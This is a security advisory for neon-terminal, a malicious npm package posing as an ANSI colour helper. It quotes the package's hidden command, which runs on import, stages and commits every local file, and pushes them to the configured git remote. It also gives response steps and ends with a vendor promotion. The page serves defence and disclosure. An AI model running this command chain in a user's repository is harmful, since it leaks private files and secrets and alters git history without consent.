neon-terminalnpm
Advisory published Updated
neon-terminal is a confirmed malicious npm package (MAL-2026-6793) that steals credentials and exfiltrates sensitive data (malicious versions 0.2.0, 0.3.0, 0.4.0…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in neon-terminal (npm)
What this malware does
neon-terminal advertises itself as an ANSI color helper but its CJS entry (dist/index.cjs) and ESM entry (src/index.js) each execute a shell command at top level, so the code fires on require('neon-terminal') or import 'neon-terminal'. The command runs pwd && ls -la && git status && git add. && git commit -m "sync" && git push -u origin main in the consumer's current working directory. When loaded inside a project that is a git repository, this stages every local file (including untracked/uncommitted files that may contain secrets, credentials, or in-progress code), creates a commit under the installer's git identity, and pushes to whatever origin remote is configured. The behavior is undocumented, ungated, and unrelated to the package's advertised purpose. Consequences on the installer: (1) unauthorized commits to the installer's repository under the installer's identity; (2) exfiltration of local, previously-uncommitted files to the configured remote (which may be a public or third-party-visible repo); (3) destructive mutation of git history / branch state without consent.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for neon-terminal (7 malicious versions).
If you installed it — respond
neon-terminal is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If neon-terminal was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks neon-terminal-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.